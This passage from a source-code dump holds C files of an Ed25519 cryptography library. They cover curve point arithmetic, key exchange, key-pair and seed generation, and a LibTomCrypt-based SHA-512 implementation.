62 | where a = a[0]+256*a[1]+...+256^31 a[31].
63 | and b = b[0]+256*b[1]+...+256^31 b[31].
64 | B is the Ed25519 base point (x,4/5) with x positive.
65 | */
66 |
67 | void ge_double_scalarmult_vartime(ge_p2 *r, const unsigned char *a, const ge_p3 *A, const unsigned char *b) {
68 | signed char aslide[256];
69 | signed char bslide[256];
70 | ge_cached Ai[8]; /* A,3A,5A,7A,9A,11A,13A,15A */
71 | ge_p1p1 t;
72 | ge_p3 u;
73 | ge_p3 A2;
74 | int i;
75 | slide(aslide, a);
76 | slide(bslide, b);
77 | ge_p3_to_cached(&Ai[0], A);
78 | ge_p3_dbl(&t, A);
79 | ge_p1p1_to_p3(&A2, &t);
80 | ge_add(&t, &A2, &Ai[0]);
81 | ge_p1p1_to_p3(&u, &t);
82 | ge_p3_to_cached(&Ai[1], &u);
83 | ge_add(&t, &A2, &Ai[1]);
84 | ge_p1p1_to_p3(&u, &t);
85 | ge_p3_to_cached(&Ai[2], &u);
86 | ge_add(&t, &A2, &Ai[2]);
87 | ge_p1p1_to_p3(&u, &t);
88 | ge_p3_to_cached(&Ai[3], &u);
89 | ge_add(&t, &A2, &Ai[3]);
90 | ge_p1p1_to_p3(&u, &t);
91 | ge_p3_to_cached(&Ai[4], &u);
92 | ge_add(&t, &A2, &Ai[4]);
93 | ge_p1p1_to_p3(&u, &t);
94 | ge_p3_to_cached(&Ai[5], &u);
95 | ge_add(&t, &A2, &Ai[5]);
96 | ge_p1p1_to_p3(&u, &t);
97 | ge_p3_to_cached(&Ai[6], &u);
98 | ge_add(&t, &A2, &Ai[6]);
99 | ge_p1p1_to_p3(&u, &t);
100 | ge_p3_to_cached(&Ai[7], &u);
101 | ge_p2_0(r);
102 |
103 | for (i = 255; i >= 0; --i) {
104 | if (aslide[i] || bslide[i]) {
105 | break;
106 | }
107 | }
108 |
109 | for (; i >= 0; --i) {
110 | ge_p2_dbl(&t, r);
111 |
112 | if (aslide[i] > 0) {
113 | ge_p1p1_to_p3(&u, &t);
114 | ge_add(&t, &u, &Ai[aslide[i] / 2]);
115 | } else if (aslide[i] < 0) {
116 | ge_p1p1_to_p3(&u, &t);
117 | ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]);
118 | }
119 |
120 | if (bslide[i] > 0) {
121 | ge_p1p1_to_p3(&u, &t);
122 | ge_madd(&t, &u, &Bi[bslide[i] / 2]);
123 | } else if (bslide[i] < 0) {
124 | ge_p1p1_to_p3(&u, &t);
125 | ge_msub(&t, &u, &Bi[(-bslide[i]) / 2]);
126 | }
127 |
128 | ge_p1p1_to_p2(r, &t);
129 | }
130 | }
131 |
132 |
133 | static const fe d = {
134 | -10913610, 13857413, -15372611, 6949391, 114729, -8787816, -6275908, -3247719, -18696448, -12055116
135 | };
136 |
137 | static const fe sqrtm1 = {
138 | -32595792, -7943725, 9377950, 3500415, 12389472, -272473, -25146209, -2005654, 326686, 11406482
139 | };
140 |
141 | int ge_frombytes_negate_vartime(ge_p3 *h, const unsigned char *s) {
142 | fe u;
143 | fe v;
144 | fe v3;
145 | fe vxx;
146 | fe check;
147 | fe_frombytes(h->Y, s);
148 | fe_1(h->Z);
149 | fe_sq(u, h->Y);
150 | fe_mul(v, u, d);
151 | fe_sub(u, u, h->Z); /* u = y^2-1 */
152 | fe_add(v, v, h->Z); /* v = dy^2+1 */
153 | fe_sq(v3, v);
154 | fe_mul(v3, v3, v); /* v3 = v^3 */
155 | fe_sq(h->X, v3);
156 | fe_mul(h->X, h->X, v);
157 | fe_mul(h->X, h->X, u); /* x = uv^7 */
158 | fe_pow22523(h->X, h->X); /* x = (uv^7)^((q-5)/8) */
159 | fe_mul(h->X, h->X, v3);
160 | fe_mul(h->X, h->X, u); /* x = uv^3(uv^7)^((q-5)/8) */
161 | fe_sq(vxx, h->X);
162 | fe_mul(vxx, vxx, v);
163 | fe_sub(check, vxx, u); /* vx^2-u */
164 |
165 | if (fe_isnonzero(check)) {
166 | fe_add(check, vxx, u); /* vx^2+u */
167 |
168 | if (fe_isnonzero(check)) {
169 | return -1;
170 | }
171 |
172 | fe_mul(h->X, h->X, sqrtm1);
173 | }
174 |
175 | if (fe_isnegative(h->X) == (s[31] >> 7)) {
176 | fe_neg(h->X, h->X);
177 | }
178 |
179 | fe_mul(h->T, h->X, h->Y);
180 | return 0;
181 | }
182 |
183 |
184 | /*
185 | r = p + q
186 | */
187 |
188 | void ge_madd(ge_p1p1 *r, const ge_p3 *p, const ge_precomp *q) {
189 | fe t0;
190 | fe_add(r->X, p->Y, p->X);
191 | fe_sub(r->Y, p->Y, p->X);
192 | fe_mul(r->Z, r->X, q->yplusx);
193 | fe_mul(r->Y, r->Y, q->yminusx);
194 | fe_mul(r->T, q->xy2d, p->T);
195 | fe_add(t0, p->Z, p->Z);
196 | fe_sub(r->X, r->Z, r->Y);
197 | fe_add(r->Y, r->Z, r->Y);
198 | fe_add(r->Z, t0, r->T);
199 | fe_sub(r->T, t0, r->T);
200 | }
201 |
202 |
203 | /*
204 | r = p - q
205 | */
206 |
207 | void ge_msub(ge_p1p1 *r, const ge_p3 *p, const ge_precomp *q) {
208 | fe t0;
209 |
210 | fe_add(r->X, p->Y, p->X);
211 | fe_sub(r->Y, p->Y, p->X);
212 | fe_mul(r->Z, r->X, q->yminusx);
213 | fe_mul(r->Y, r->Y, q->yplusx);
214 | fe_mul(r->T, q->xy2d, p->T);
215 | fe_add(t0, p->Z, p->Z);
216 | fe_sub(r->X, r->Z, r->Y);
217 | fe_add(r->Y, r->Z, r->Y);
218 | fe_sub(r->Z, t0, r->T);
219 | fe_add(r->T, t0, r->T);
220 | }
221 |
222 |
223 | /*
224 | r = p
225 | */
226 |
227 | void ge_p1p1_to_p2(ge_p2 *r, const ge_p1p1 *p) {
228 | fe_mul(r->X, p->X, p->T);
229 | fe_mul(r->Y, p->Y, p->Z);
230 | fe_mul(r->Z, p->Z, p->T);
231 | }
232 |
233 |
234 |
235 | /*
236 | r = p
237 | */
238 |
239 | void ge_p1p1_to_p3(ge_p3 *r, const ge_p1p1 *p) {
240 | fe_mul(r->X, p->X, p->T);
241 | fe_mul(r->Y, p->Y, p->Z);
242 | fe_mul(r->Z, p->Z, p->T);
243 | fe_mul(r->T, p->X, p->Y);
244 | }
245 |
246 |
247 | void ge_p2_0(ge_p2 *h) {
248 | fe_0(h->X);
249 | fe_1(h->Y);
250 | fe_1(h->Z);
251 | }
252 |
253 |
254 |
255 | /*
256 | r = 2 * p
257 | */
258 |
259 | void ge_p2_dbl(ge_p1p1 *r, const ge_p2 *p) {
260 | fe t0;
261 |
262 | fe_sq(r->X, p->X);
263 | fe_sq(r->Z, p->Y);
264 | fe_sq2(r->T, p->Z);
265 | fe_add(r->Y, p->X, p->Y);
266 | fe_sq(t0, r->Y);
267 | fe_add(r->Y, r->Z, r->X);
268 | fe_sub(r->Z, r->Z, r->X);
269 | fe_sub(r->X, t0, r->Y);
270 | fe_sub(r->T, r->T, r->Z);
271 | }
272 |
273 |
274 | void ge_p3_0(ge_p3 *h) {
275 | fe_0(h->X);
276 | fe_1(h->Y);
277 | fe_1(h->Z);
278 | fe_0(h->T);
279 | }
280 |
281 |
282 | /*
283 | r = 2 * p
284 | */
285 |
286 | void ge_p3_dbl(ge_p1p1 *r, const ge_p3 *p) {
287 | ge_p2 q;
288 | ge_p3_to_p2(&q, p);
289 | ge_p2_dbl(r, &q);
290 | }
291 |
292 |
293 |
294 | /*
295 | r = p
296 | */
297 |
298 | static const fe d2 = {
299 | -21827239, -5839606, -30745221, 13898782, 229458, 15978800, -12551817, -6495438, 29715968, 9444199
300 | };
301 |
302 | void ge_p3_to_cached(ge_cached *r, const ge_p3 *p) {
303 | fe_add(r->YplusX, p->Y, p->X);
304 | fe_sub(r->YminusX, p->Y, p->X);
305 | fe_copy(r->Z, p->Z);
306 | fe_mul(r->T2d, p->T, d2);
307 | }
308 |
309 |
310 | /*
311 | r = p
312 | */
313 |
314 | void ge_p3_to_p2(ge_p2 *r, const ge_p3 *p) {
315 | fe_copy(r->X, p->X);
316 | fe_copy(r->Y, p->Y);
317 | fe_copy(r->Z, p->Z);
318 | }
319 |
320 |
321 | void ge_p3_tobytes(unsigned char *s, const ge_p3 *h) {
322 | fe recip;
323 | fe x;
324 | fe y;
325 | fe_invert(recip, h->Z);
326 | fe_mul(x, h->X, recip);
327 | fe_mul(y, h->Y, recip);
328 | fe_tobytes(s, y);
329 | s[31] ^= fe_isnegative(x) << 7;
330 | }
331 |
332 |
333 | static unsigned char equal(signed char b, signed char c) {
334 | unsigned char ub = b;
335 | unsigned char uc = c;
336 | unsigned char x = ub ^ uc; /* 0: yes; 1..255: no */
337 | uint64_t y = x; /* 0: yes; 1..255: no */
338 | y -= 1; /* large: yes; 0..254: no */
339 | y >>= 63; /* 1: yes; 0: no */
340 | return (unsigned char) y;
341 | }
342 |
343 | static unsigned char negative(signed char b) {
344 | uint64_t x = b; /* 18446744073709551361..18446744073709551615: yes; 0..255: no */
345 | x >>= 63; /* 1: yes; 0: no */
346 | return (unsigned char) x;
347 | }
348 |
349 | static void cmov(ge_precomp *t, const ge_precomp *u, unsigned char b) {
350 | fe_cmov(t->yplusx, u->yplusx, b);
351 | fe_cmov(t->yminusx, u->yminusx, b);
352 | fe_cmov(t->xy2d, u->xy2d, b);
353 | }
354 |
355 |
356 | static void select(ge_precomp *t, int pos, signed char b) {
357 | ge_precomp minust;
358 | unsigned char bnegative = negative(b);
359 | unsigned char babs = b - (((-bnegative) & b) << 1);
360 | fe_1(t->yplusx);
361 | fe_1(t->yminusx);
362 | fe_0(t->xy2d);
363 | cmov(t, &base[pos][0], equal(babs, 1));
364 | cmov(t, &base[pos][1], equal(babs, 2));
365 | cmov(t, &base[pos][2], equal(babs, 3));
366 | cmov(t, &base[pos][3], equal(babs, 4));
367 | cmov(t, &base[pos][4], equal(babs, 5));
368 | cmov(t, &base[pos][5], equal(babs, 6));
369 | cmov(t, &base[pos][6], equal(babs, 7));
370 | cmov(t, &base[pos][7], equal(babs, 8));
371 | fe_copy(minust.yplusx, t->yminusx);
372 | fe_copy(minust.yminusx, t->yplusx);
373 | fe_neg(minust.xy2d, t->xy2d);
374 | cmov(t, &minust, bnegative);
375 | }
376 |
377 | /*
378 | h = a * B
379 | where a = a[0]+256*a[1]+...+256^31 a[31]
380 | B is the Ed25519 base point (x,4/5) with x positive.
381 |
382 | Preconditions:
383 | a[31] <= 127
384 | */
385 |
386 | void ge_scalarmult_base(ge_p3 *h, const unsigned char *a) {
387 | signed char e[64];
388 | signed char carry;
389 | ge_p1p1 r;
390 | ge_p2 s;
391 | ge_precomp t;
392 | int i;
393 |
394 | for (i = 0; i < 32; ++i) {
395 | e[2 * i + 0] = (a[i] >> 0) & 15;
396 | e[2 * i + 1] = (a[i] >> 4) & 15;
397 | }
398 |
399 | /* each e[i] is between 0 and 15 */
400 | /* e[63] is between 0 and 7 */
401 | carry = 0;
402 |
403 | for (i = 0; i < 63; ++i) {
404 | e[i] += carry;
405 | carry = e[i] + 8;
406 | carry >>= 4;
407 | e[i] -= carry << 4;
408 | }
409 |
410 | e[63] += carry;
411 | /* each e[i] is between -8 and 8 */
412 | ge_p3_0(h);
413 |
414 | for (i = 1; i < 64; i += 2) {
415 | select(&t, i / 2, e[i]);
416 | ge_madd(&r, h, &t);
417 | ge_p1p1_to_p3(h, &r);
418 | }
419 |
420 | ge_p3_dbl(&r, h);
421 | ge_p1p1_to_p2(&s, &r);
422 | ge_p2_dbl(&r, &s);
423 | ge_p1p1_to_p2(&s, &r);
424 | ge_p2_dbl(&r, &s);
425 | ge_p1p1_to_p2(&s, &r);
426 | ge_p2_dbl(&r, &s);
427 | ge_p1p1_to_p3(h, &r);
428 |
429 | for (i = 0; i < 64; i += 2) {
430 | select(&t, i / 2, e[i]);
431 | ge_madd(&r, h, &t);
432 | ge_p1p1_to_p3(h, &r);
433 | }
434 | }
435 |
436 |
437 | /*
438 | r = p - q
439 | */
440 |
441 | void ge_sub(ge_p1p1 *r, const ge_p3 *p, const ge_cached *q) {
442 | fe t0;
443 |
444 | fe_add(r->X, p->Y, p->X);
445 | fe_sub(r->Y, p->Y, p->X);
446 | fe_mul(r->Z, r->X, q->YminusX);
447 | fe_mul(r->Y, r->Y, q->YplusX);
448 | fe_mul(r->T, q->T2d, p->T);
449 | fe_mul(r->X, p->Z, q->Z);
450 | fe_add(t0, r->X, r->X);
451 | fe_sub(r->X, r->Z, r->Y);
452 | fe_add(r->Y, r->Z, r->Y);
453 | fe_sub(r->Z, t0, r->T);
454 | fe_add(r->T, t0, r->T);
455 | }
456 |
457 |
458 | void ge_tobytes(unsigned char *s, const ge_p2 *h) {
459 | fe recip;
460 | fe x;
461 | fe y;
462 | fe_invert(recip, h->Z);
463 | fe_mul(x, h->X, recip);
464 | fe_mul(y, h->Y, recip);
465 | fe_tobytes(s, y);
466 | s[31] ^= fe_isnegative(x) << 7;
467 | }
468 |
--------------------------------------------------------------------------------
/crypto/ge.h:
--------------------------------------------------------------------------------
1 | #ifndef GE_H
2 | #define GE_H
3 |
4 | #include "fe.h"
5 |
6 |
7 | /*
8 | ge means group element.
9 |
10 | Here the group is the set of pairs (x,y) of field elements (see fe.h)
11 | satisfying -x^2 + y^2 = 1 + d x^2y^2
12 | where d = -121665/121666.
13 |
14 | Representations:
15 | ge_p2 (projective): (X:Y:Z) satisfying x=X/Z, y=Y/Z
16 | ge_p3 (extended): (X:Y:Z:T) satisfying x=X/Z, y=Y/Z, XY=ZT
17 | ge_p1p1 (completed): ((X:Z),(Y:T)) satisfying x=X/Z, y=Y/T
18 | ge_precomp (Duif): (y+x,y-x,2dxy)
19 | */
20 |
21 | typedef struct {
22 | fe X;
23 | fe Y;
24 | fe Z;
25 | } ge_p2;
26 |
27 | typedef struct {
28 | fe X;
29 | fe Y;
30 | fe Z;
31 | fe T;
32 | } ge_p3;
33 |
34 | typedef struct {
35 | fe X;
36 | fe Y;
37 | fe Z;
38 | fe T;
39 | } ge_p1p1;
40 |
41 | typedef struct {
42 | fe yplusx;
43 | fe yminusx;
44 | fe xy2d;
45 | } ge_precomp;
46 |
47 | typedef struct {
48 | fe YplusX;
49 | fe YminusX;
50 | fe Z;
51 | fe T2d;
52 | } ge_cached;
53 |
54 | void ge_p3_tobytes(unsigned char *s, const ge_p3 *h);
55 | void ge_tobytes(unsigned char *s, const ge_p2 *h);
56 | int ge_frombytes_negate_vartime(ge_p3 *h, const unsigned char *s);
57 |
58 | void ge_add(ge_p1p1 *r, const ge_p3 *p, const ge_cached *q);
59 | void ge_sub(ge_p1p1 *r, const ge_p3 *p, const ge_cached *q);
60 | void ge_double_scalarmult_vartime(ge_p2 *r, const unsigned char *a, const ge_p3 *A, const unsigned char *b);
61 | void ge_madd(ge_p1p1 *r, const ge_p3 *p, const ge_precomp *q);
62 | void ge_msub(ge_p1p1 *r, const ge_p3 *p, const ge_precomp *q);
63 | void ge_scalarmult_base(ge_p3 *h, const unsigned char *a);
64 |
65 | void ge_p1p1_to_p2(ge_p2 *r, const ge_p1p1 *p);
66 | void ge_p1p1_to_p3(ge_p3 *r, const ge_p1p1 *p);
67 | void ge_p2_0(ge_p2 *h);
68 | void ge_p2_dbl(ge_p1p1 *r, const ge_p2 *p);
69 | void ge_p3_0(ge_p3 *h);
70 | void ge_p3_dbl(ge_p1p1 *r, const ge_p3 *p);
71 | void ge_p3_to_cached(ge_cached *r, const ge_p3 *p);
72 | void ge_p3_to_p2(ge_p2 *r, const ge_p3 *p);
73 |
74 | #endif
75 |
--------------------------------------------------------------------------------
/crypto/key_exchange.c:
--------------------------------------------------------------------------------
1 | #include "ed25519.h"
2 | #include "fe.h"
3 |
4 | void ed25519_key_exchange(unsigned char *shared_secret, const unsigned char *public_key, const unsigned char *private_key) {
5 | unsigned char e[32];
6 | unsigned int i;
7 |
8 | fe x1;
9 | fe x2;
10 | fe z2;
11 | fe x3;
12 | fe z3;
13 | fe tmp0;
14 | fe tmp1;
15 |
16 | int pos;
17 | unsigned int swap;
18 | unsigned int b;
19 |
20 | /* copy the private key and make sure it's valid */
21 | for (i = 0; i < 32; ++i) {
22 | e[i] = private_key[i];
23 | }
24 |
25 | e[0] &= 248;
26 | e[31] &= 63;
27 | e[31] |= 64;
28 |
29 | /* unpack the public key and convert edwards to montgomery */
30 | /* due to CodesInChaos: montgomeryX = (edwardsY + 1)*inverse(1 - edwardsY) mod p */
31 | fe_frombytes(x1, public_key);
32 | fe_1(tmp1);
33 | fe_add(tmp0, x1, tmp1);
34 | fe_sub(tmp1, tmp1, x1);
35 | fe_invert(tmp1, tmp1);
36 | fe_mul(x1, tmp0, tmp1);
37 |
38 | fe_1(x2);
39 | fe_0(z2);
40 | fe_copy(x3, x1);
41 | fe_1(z3);
42 |
43 | swap = 0;
44 | for (pos = 254; pos >= 0; --pos) {
45 | b = e[pos / 8] >> (pos & 7);
46 | b &= 1;
47 | swap ^= b;
48 | fe_cswap(x2, x3, swap);
49 | fe_cswap(z2, z3, swap);
50 | swap = b;
51 |
52 | /* from montgomery.h */
53 | fe_sub(tmp0, x3, z3);
54 | fe_sub(tmp1, x2, z2);
55 | fe_add(x2, x2, z2);
56 | fe_add(z2, x3, z3);
57 | fe_mul(z3, tmp0, x2);
58 | fe_mul(z2, z2, tmp1);
59 | fe_sq(tmp0, tmp1);
60 | fe_sq(tmp1, x2);
61 | fe_add(x3, z3, z2);
62 | fe_sub(z2, z3, z2);
63 | fe_mul(x2, tmp1, tmp0);
64 | fe_sub(tmp1, tmp1, tmp0);
65 | fe_sq(z2, z2);
66 | fe_mul121666(z3, tmp1);
67 | fe_sq(x3, x3);
68 | fe_add(tmp0, tmp0, z3);
69 | fe_mul(z3, x1, z2);
70 | fe_mul(z2, tmp1, tmp0);
71 | }
72 |
73 | fe_cswap(x2, x3, swap);
74 | fe_cswap(z2, z3, swap);
75 |
76 | fe_invert(z2, z2);
77 | fe_mul(x2, x2, z2);
78 | fe_tobytes(shared_secret, x2);
79 | }
80 |
--------------------------------------------------------------------------------
/crypto/pub.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "ed25519.h"
4 | #include "ge.h"
5 |
6 |
7 |
8 |
9 | void ed25519_getpub(unsigned char *public_key, unsigned char *private_key) {
10 | ge_p3 A;
11 | ge_scalarmult_base(&A, private_key);
12 | ge_p3_tobytes(public_key, &A);
13 | }
14 |
15 |
--------------------------------------------------------------------------------
/crypto/sc.h:
--------------------------------------------------------------------------------
1 | #ifndef SC_H
2 | #define SC_H
3 |
4 | /*
5 | The set of scalars is \Z/l
6 | where l = 2^252 + 27742317777372353535851937790883648493.
7 | */
8 |
9 | void sc_reduce(unsigned char *s);
10 | void sc_muladd(unsigned char *s, const unsigned char *a, const unsigned char *b, const unsigned char *c);
11 |
12 | #endif
13 |
--------------------------------------------------------------------------------
/crypto/seed.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "ed25519.h"
4 | #include "sha512.h"
5 | #include "ge.h"
6 |
7 | #ifndef ED25519_NO_SEED
8 |
9 | int ed25519_create_seed(unsigned char *seed) {
10 | FILE *f = fopen("/dev/urandom", "rb");
11 |
12 | if (f == NULL) {
13 | return 1;
14 | }
15 |
16 | fread(seed, 1, 32, f);
17 | fclose(f);
18 | return 0;
19 | }
20 |
21 |
22 |
23 |
24 | void ed25519_create_keypair(unsigned char *public_key, unsigned char *private_key, const unsigned char *seed) {
25 | ge_p3 A;
26 |
27 | sha512(seed, 32, private_key);
28 | private_key[0] &= 248;
29 | private_key[31] &= 63;
30 | private_key[31] |= 64;
31 |
32 | ge_scalarmult_base(&A, private_key);
33 | ge_p3_tobytes(public_key, &A);
34 | }
35 |
36 | #endif
37 |
--------------------------------------------------------------------------------
/crypto/sha512.c:
--------------------------------------------------------------------------------
1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis
2 | *
3 | * LibTomCrypt is a library that provides various cryptographic
4 | * algorithms in a highly modular and flexible manner.
5 | *
6 | * The library is free for all purposes without any express
7 | * guarantee it works.
8 | *
9 | * Tom St Denis, tomstdenis@gmail.com, http://libtom.org
10 | */
11 |
12 | #include "fixedint.h"
13 | #include "sha512.h"
14 |
15 | /* the K array */
16 | static const uint64_t K[80] = {
17 | UINT64_C(0x428a2f98d728ae22), UINT64_C(0x7137449123ef65cd),
18 | UINT64_C(0xb5c0fbcfec4d3b2f), UINT64_C(0xe9b5dba58189dbbc),
19 | UINT64_C(0x3956c25bf348b538), UINT64_C(0x59f111f1b605d019),
20 | UINT64_C(0x923f82a4af194f9b), UINT64_C(0xab1c5ed5da6d8118),
21 | UINT64_C(0xd807aa98a3030242), UINT64_C(0x12835b0145706fbe),
22 | UINT64_C(0x243185be4ee4b28c), UINT64_C(0x550c7dc3d5ffb4e2),
23 | UINT64_C(0x72be5d74f27b896f), UINT64_C(0x80deb1fe3b1696b1),
24 | UINT64_C(0x9bdc06a725c71235), UINT64_C(0xc19bf174cf692694),
25 | UINT64_C(0xe49b69c19ef14ad2), UINT64_C(0xefbe4786384f25e3),
26 | UINT64_C(0x0fc19dc68b8cd5b5), UINT64_C(0x240ca1cc77ac9c65),
27 | UINT64_C(0x2de92c6f592b0275), UINT64_C(0x4a7484aa6ea6e483),
28 | UINT64_C(0x5cb0a9dcbd41fbd4), UINT64_C(0x76f988da831153b5),
29 | UINT64_C(0x983e5152ee66dfab), UINT64_C(0xa831c66d2db43210),
30 | UINT64_C(0xb00327c898fb213f), UINT64_C(0xbf597fc7beef0ee4),
31 | UINT64_C(0xc6e00bf33da88fc2), UINT64_C(0xd5a79147930aa725),
32 | UINT64_C(0x06ca6351e003826f), UINT64_C(0x142929670a0e6e70),
33 | UINT64_C(0x27b70a8546d22ffc), UINT64_C(0x2e1b21385c26c926),
34 | UINT64_C(0x4d2c6dfc5ac42aed), UINT64_C(0x53380d139d95b3df),
35 | UINT64_C(0x650a73548baf63de), UINT64_C(0x766a0abb3c77b2a8),
36 | UINT64_C(0x81c2c92e47edaee6), UINT64_C(0x92722c851482353b),
37 | UINT64_C(0xa2bfe8a14cf10364), UINT64_C(0xa81a664bbc423001),
38 | UINT64_C(0xc24b8b70d0f89791), UINT64_C(0xc76c51a30654be30),
39 | UINT64_C(0xd192e819d6ef5218), UINT64_C(0xd69906245565a910),
40 | UINT64_C(0xf40e35855771202a), UINT64_C(0x106aa07032bbd1b8),
41 | UINT64_C(0x19a4c116b8d2d0c8), UINT64_C(0x1e376c085141ab53),
42 | UINT64_C(0x2748774cdf8eeb99), UINT64_C(0x34b0bcb5e19b48a8),
43 | UINT64_C(0x391c0cb3c5c95a63), UINT64_C(0x4ed8aa4ae3418acb),
44 | UINT64_C(0x5b9cca4f7763e373), UINT64_C(0x682e6ff3d6b2b8a3),
45 | UINT64_C(0x748f82ee5defb2fc), UINT64_C(0x78a5636f43172f60),
46 | UINT64_C(0x84c87814a1f0ab72), UINT64_C(0x8cc702081a6439ec),
47 | UINT64_C(0x90befffa23631e28), UINT64_C(0xa4506cebde82bde9),
48 | UINT64_C(0xbef9a3f7b2c67915), UINT64_C(0xc67178f2e372532b),
49 | UINT64_C(0xca273eceea26619c), UINT64_C(0xd186b8c721c0c207),
50 | UINT64_C(0xeada7dd6cde0eb1e), UINT64_C(0xf57d4f7fee6ed178),
51 | UINT64_C(0x06f067aa72176fba), UINT64_C(0x0a637dc5a2c898a6),
52 | UINT64_C(0x113f9804bef90dae), UINT64_C(0x1b710b35131c471b),
53 | UINT64_C(0x28db77f523047d84), UINT64_C(0x32caab7b40c72493),
54 | UINT64_C(0x3c9ebe0a15c9bebc), UINT64_C(0x431d67c49c100d4c),
55 | UINT64_C(0x4cc5d4becb3e42b6), UINT64_C(0x597f299cfc657e2a),
56 | UINT64_C(0x5fcb6fab3ad6faec), UINT64_C(0x6c44198c4a475817)
57 | };
58 |
59 | /* Various logical functions */
60 |
61 | #define ROR64c(x, y) \
62 | ( ((((x)&UINT64_C(0xFFFFFFFFFFFFFFFF))>>((uint64_t)(y)&UINT64_C(63))) | \
63 | ((x)<<((uint64_t)(64-((y)&UINT64_C(63)))))) & UINT64_C(0xFFFFFFFFFFFFFFFF))
64 |
65 | #define STORE64H(x, y) \
66 | { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \
67 | (y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \
68 | (y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \
69 | (y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); }
70 |
71 | #define LOAD64H(x, y) \
72 | { x = (((uint64_t)((y)[0] & 255))<<56)|(((uint64_t)((y)[1] & 255))<<48) | \
73 | (((uint64_t)((y)[2] & 255))<<40)|(((uint64_t)((y)[3] & 255))<<32) | \
74 | (((uint64_t)((y)[4] & 255))<<24)|(((uint64_t)((y)[5] & 255))<<16) | \
75 | (((uint64_t)((y)[6] & 255))<<8)|(((uint64_t)((y)[7] & 255))); }
76 |
77 |
78 | #define Ch(x,y,z) (z ^ (x & (y ^ z)))
79 | #define Maj(x,y,z) (((x | y) & z) | (x & y))
80 | #define S(x, n) ROR64c(x, n)
81 | #define R(x, n) (((x) &UINT64_C(0xFFFFFFFFFFFFFFFF))>>((uint64_t)n))
82 | #define Sigma0(x) (S(x, 28) ^ S(x, 34) ^ S(x, 39))
83 | #define Sigma1(x) (S(x, 14) ^ S(x, 18) ^ S(x, 41))
84 | #define Gamma0(x) (S(x, 1) ^ S(x, 8) ^ R(x, 7))
85 | #define Gamma1(x) (S(x, 19) ^ S(x, 61) ^ R(x, 6))
86 | #ifndef MIN
87 | #define MIN(x, y) ( ((x)<(y))?(x):(y) )
88 | #endif
89 |
90 | /* compress 1024-bits */
91 | static int sha512_compress(sha512_context *md, unsigned char *buf)
92 | {
93 | uint64_t S[8], W[80], t0, t1;
94 | int i;
95 |
96 | /* copy state into S */
97 | for (i = 0; i < 8; i++) {
98 | S[i] = md->state[i];
99 | }
100 |
101 | /* copy the state into 1024-bits into W[0..15] */
102 | for (i = 0; i < 16; i++) {
103 | LOAD64H(W[i], buf + (8*i));
104 | }
105 |
106 | /* fill W[16..79] */
107 | for (i = 16; i < 80; i++) {
108 | W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + W[i - 16];
109 | }
110 |
111 | /* Compress */
112 | #define RND(a,b,c,d,e,f,g,h,i) \
113 | t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \
114 | t1 = Sigma0(a) + Maj(a, b, c);\
115 | d += t0; \
116 | h = t0 + t1;
117 |
118 | for (i = 0; i < 80; i += 8) {
119 | RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],i+0);
120 | RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],i+1);
121 | RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],i+2);
122 | RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],i+3);
123 | RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],i+4);
124 | RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],i+5);
125 | RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],i+6);
126 | RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],i+7);
127 | }
128 |
129 | #undef RND
130 |
131 |
132 |
133 | /* feedback */
134 | for (i = 0; i < 8; i++) {
135 | md->state[i] = md->state[i] + S[i];
136 | }
137 |
138 | return 0;
139 | }
140 |
141 |
142 | /**
143 | Initialize the hash state
144 | @param md The hash state you wish to initialize
145 | @return 0 if successful
146 | */
147 | int sha512_init(sha512_context * md) {
148 | if (md == NULL) return 1;
149 |
150 | md->curlen = 0;
151 | md->length = 0;
152 | md->state[0] = UINT64_C(0x6a09e667f3bcc908);
153 | md->state[1] = UINT64_C(0xbb67ae8584caa73b);
154 | md->state[2] = UINT64_C(0x3c6ef372fe94f82b);
155 | md->state[3] = UINT64_C(0xa54ff53a5f1d36f1);
156 | md->state[4] = UINT64_C(0x510e527fade682d1);
157 | md->state[5] = UINT64_C(0x9b05688c2b3e6c1f);
158 | md->state[6] = UINT64_C(0x1f83d9abfb41bd6b);
159 | md->state[7] = UINT64_C(0x5be0cd19137e2179);
160 |
161 | return 0;
162 | }
163 |
164 | /**
165 | Process a block of memory though the hash
166 | @param md The hash state
167 | @param in The data to hash
168 | @param inlen The length of the data (octets)
169 | @return 0 if successful
170 | */
171 | int sha512_update (sha512_context * md, const unsigned char *in, size_t inlen)
172 | {
173 | size_t n;
174 | size_t i;
175 | int err;
176 | if (md == NULL) return 1;
177 | if (in == NULL) return 1;
178 | if (md->curlen > sizeof(md->buf)) {
179 | return 1;
180 | }
181 | while (inlen > 0) {
182 | if (md->curlen == 0 && inlen >= 128) {
183 | if ((err = sha512_compress (md, (unsigned char *)in)) != 0) {
184 | return err;
185 | }
186 | md->length += 128 * 8;
187 | in += 128;
188 | inlen -= 128;
189 | } else {
190 | n = MIN(inlen, (128 - md->curlen));
191 |
192 | for (i = 0; i < n; i++) {
193 | md->buf[i + md->curlen] = in[i];
194 | }
195 |
196 |
197 | md->curlen += n;
198 | in += n;
199 | inlen -= n;
200 | if (md->curlen == 128) {
201 | if ((err = sha512_compress (md, md->buf)) != 0) {
202 | return err;
203 | }
204 | md->length += 8*128;
205 | md->curlen = 0;
206 | }
207 | }
208 | }
209 | return 0;
210 | }
211 |
212 | /**
213 | Terminate the hash to get the digest
214 | @param md The hash state
215 | @param out [out] The destination of the hash (64 bytes)
216 | @return 0 if successful
217 | */
